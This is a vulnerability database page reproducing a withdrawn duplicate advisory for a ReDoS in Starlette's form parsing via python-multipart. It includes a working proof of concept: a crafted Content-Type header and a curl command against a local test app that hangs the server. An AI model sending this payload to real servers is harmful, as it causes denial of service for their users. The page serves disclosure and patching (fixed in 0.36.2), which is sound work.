🛡️ GHSA-93gm-qmq6-w238 — starlette

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-400 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Duplicate Advisory: Starlette Content-Type Header ReDoS

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.

Original Description

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

```

Content-Type: text/html; charset=utf-8

```

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

```

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

```

PoC

Create a Starlette app that uses form data. To reproduce it it's not even necessary to create a Starlette app, just using the Request is enough:

```Python

# main.py

from starlette.requests import Request

from starlette.responses import JSONResponse

async def app(scope, receive, send):

assert scope["type"] == "http"

request = Request(scope, receive)

data = await request.form()

response_data = {}

for key in data:

print(key, data.getlist(key))

response_data[key] = data.getlist(key)

response = JSONResponse(response_data)

await response(scope, receive, send)

```

Then start it with:

```console

$ uvicorn main:app

INFO: Started server process [50601]

INFO: Waiting for application startup.

INFO: ASGI 'lifespan' protocol appears unsupported.

INFO: Application startup complete.

INFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)

```

Then send the attacking request with:

```console

$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/'

```

Stopping it

Because that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with Ctrl+C as it can't handle the signal.

To stop it, first check the process ID running Uvicorn:

```console

$ ps -fA | grep uvicorn

501 59461 24785 0 4:28PM ttys004 0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app

501 59466 99935 0 4:28PM ttys010 0:00.00 grep uvicorn

```

In this case, the process ID was 59461, then you can kill it (forcefully, with -9) with:

```console

$ kill -9 59461

```

Impact

It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using python-multipart. This way it also affects other libraries using Starlette, like FastAPI.

Original Report

This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

<details>

<summary>Original report to FastAPI</summary>

Hey Tiangolo!

My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).

Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

```Python

from typing import Annotated

from fastapi.responses import HTMLResponse

from fastapi import FastAPI,Form

from pydantic import BaseModel

class Item(BaseModel):

username: str

app = FastAPI()

@app.get("/", response_class=HTMLResponse)

async def index():

return HTMLResponse("Test", status_code=200)

@app.post("/submit/")

async def submit(username: Annotated[str, Form()]):

return {"username": username}

@app.post("/submit_json/")

async def submit_json(item: Item):

return {"username": item.username}

```

I'm running the above with uvicorn wit

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

Weakness class

GHSA-93gm-qmq6-w238 is classified as CWE-400: Uncontrolled Resource Consumption. A request can consume memory, CPU or storage without limit, exhausting capacity for everyone else.

Affected software

GHSA-93gm-qmq6-w238 is recorded against 1 package.

  • starlette (fixed in 0.36.2)

Timeline and source

Published on 5 February 2024 and last revised on 4 February 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Web)
github.com (Package)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-400
Public Exploit ✅ No
Source OSV
Published 2024-02-05
Updated 2026-08-20
Modified 2026-02-04
Fix URL N/A

Affected Packages

Software From version Fixed in
starlette 0.36.2

Site Security Check

Is starlette part of your stack?

GHSA-93gm-qmq6-w238 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.